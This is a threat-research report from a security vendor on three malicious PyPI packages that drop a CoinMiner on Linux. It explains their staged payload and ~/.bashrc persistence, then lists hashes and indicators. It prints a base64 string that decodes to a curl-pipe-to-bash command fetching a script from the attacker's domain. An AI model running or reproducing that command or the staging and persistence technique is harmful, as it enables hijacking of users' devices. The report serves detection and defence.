Affected platforms: Linux
Affected parties: Linux users that have these malicious packages installed
Impact: Latency in device performance
Severity level: High
On December 5th, 2023, FortiGuard's AI-driven OSS malware detection system identified three intriguing PyPI (Python Package Index) packages. These packages, upon initial use, deploy a CoinMiner executable on Linux devices. Leveraging our historical malware database, we noted that the indicators of compromise (IoCs) for these packages bear a resemblance to the "culturestreak" PyPI package discovered earlier this September. A comprehensive overview of the attack pattern of "culturestreak" was previously detailed in a Checkmarx blog post. In this analysis, we cover the attack phases of these three new packages, focusing on their similarities and developments compared to "culturestreak."
These three harmful packages are named modularseven-1.0, driftme-1.0, and catme-1.0. They all originate from the same author, known as "sastra", who created a PyPI account shortly before uploading the first of these malicious packages.
These packages all exhibit a common attack methodology, so we will use driftme-1.0 as an example to illustrate the stages of the attack. Echoing the approach of the earlier "culturestreak" package, these packages conceal their payload, effectively reducing the detectability of their malicious code by hosting it on a remote URL. The payload is then incrementally released in various stages to execute its malicious activities.
The malicious activity is triggered by the “import” statement in the __init__.py file:
By calling the processing() function, it decodes the string
Y3VybCBodHRwczovL3BhcGljdWxvLm5ldC91bm1pLnNoIHwgYmFzaA==
into a shell command that fetches the content from the specified URL using curl. It then pipes that content directly to the Bash shell, which executes the following script:
Looking into the “unmi.sh” script, we found that it contains the second stage of the malicious payload:
Utilizing the “unmi.sh” script, the attacker downloads two critical items onto the user’s device:
The first is “config.json,” a configuration file required for executing the program that will be installed. This file outlines the cryptocurrency mining setting. Specifically, it determines the mining algorithm, i.e., randomX, the device resource settings for mining operations, and the designated mining "pools," along with the beneficiary’s wallet account. Notably, the attacker has chosen to disable the "init-avx2" feature, presumably to ensure compatibility with older devices.
The second key component of the payload is the CoinMiner executable:
Similar to the configuration file, this executable is also hosted at a remote address:
hxxps://gitlab.com/ajo9082734/Mine/-/raw/main/X
Once the executable is downloaded from the remote URL and marked as executable, the attacker employs the “nohup” command to execute it in the background. This ensures the process remains active beyond the terminal session. The most deceptive aspect is that the attacker ensures that all these modifications are appended to the ~/.bashrc file, ensuring the reactivation of this malicious activity whenever the user initiates a new Bash shell session.
The coinMiner ELF file, retrieved during this process, is not new to the security community. It was initially uploaded to VirusTotal (VT) in 2021. Currently, a significant number of vendors on VT recognize the payload as malicious.
The three packages discussed in this blog have IoCs similar to “culturestreak”:
These three packages, when compared to "culturestreak," showcase enhanced strategies in both concealing their presence and maintaining their malicious functions. A key enhancement is the introduction of an extra stage, where crucial commands for the malicious operations are stored in the “unmi.sh” file on a remote server. This tactic improves the odds of evading detection by security solutions by minimizing the code within the PyPI package. It also allows for more controlled disclosure of the malicious code by simply disabling the server hosting this “unmi.sh” script.
Moreover, this malware inserts the malicious commands into the ~/.bashrc file. This addition ensures the malware's persistence and reactivation on the user's device, effectively extending the duration of its covert operation. This strategy aids in the prolonged, stealthy exploitation of the user's device for the attacker's benefit.
A notable trend we observed from this particular set of packages is that malicious actors continuously refine their strategies to conceal and lengthen the exploitation process. An essential tactic discussed in this blog involves breaking down the entire malicious workflow into smaller stages and releasing them incrementally. For the security community, the ability to detect subtle malicious indicators becomes crucial.
Furthermore, this serves as a reminder of the critical importance of thoroughly scrutinizing code and packages sourced from unverified or suspicious origins and staying well-informed about potential threats.
FortiGuard AntiVirus detects the malicious files identified in this report as
unmi.sh: Linux/Agent.4EFF!tr
modularseven-1.0/modularseven/processor.py: Python/Agent.5337!tr
driftme-1.0/driftme/processor.py: Python/Agent.5337!tr
catme-1.0/catme/processor.py: Python/Agent.5337!tr
tmp/X: Riskware/CoinMiner
The FortiGuard AntiVirus service is supported by FortiGate, FortiMail, FortiClient, and FortiEDR. Customers running current AntiVirus updates are protected.
The FortiGuard Web Filtering Service detects and blocks the download URLs cited in this report as Malicious.
The FortiDevSec SCA scanner detects malicious packages, including those cited in this report, which may operate as dependencies in users' projects in test phases and prevents those dependencies from being introduced into users' products.
If you believe these or any other cybersecurity threat has impacted your organization, please contact our Global FortiGuard Incident Response Team.
unmi.sh
070128a5b4e1aecb61b59f3f8ef2602e63cd1e5357f1314080a7c8a4960b0bee
modularseven-1.0/modularseven/processor.py
4b439d8cabc5e4ad593a26065e6d374efdddf41c8d91744b077a69812df170d2
driftme-1.0/driftme/processor.py
687fb012479e563be63e02718eb7be7ee81974193c952777ca94234c95b25115
catme-1.0/catme/processor.py
235b1ad3d21e7330d421c9a03b6b822fcdddacaa707bed9d67dabd43d4401fc6
tmp/X
df0211bf54174b5766366eecfb0a04c4a59346478e1507b6685fbaed6b2d2aca
XLM:GA2DR34VWSXPIE2JFDUZFEIROMXRFYUYNB2XD5JWKPD2TWELUJQZ4WCW.WORKER
hxxps[:]//papiculo[.]net/unmi[.]sh
hxxps[:]//papiculo[.]net/unmiconfig[.]json
hxxps[:]//gitlab[.]com/ajo9082734/Mine/-/raw/main/X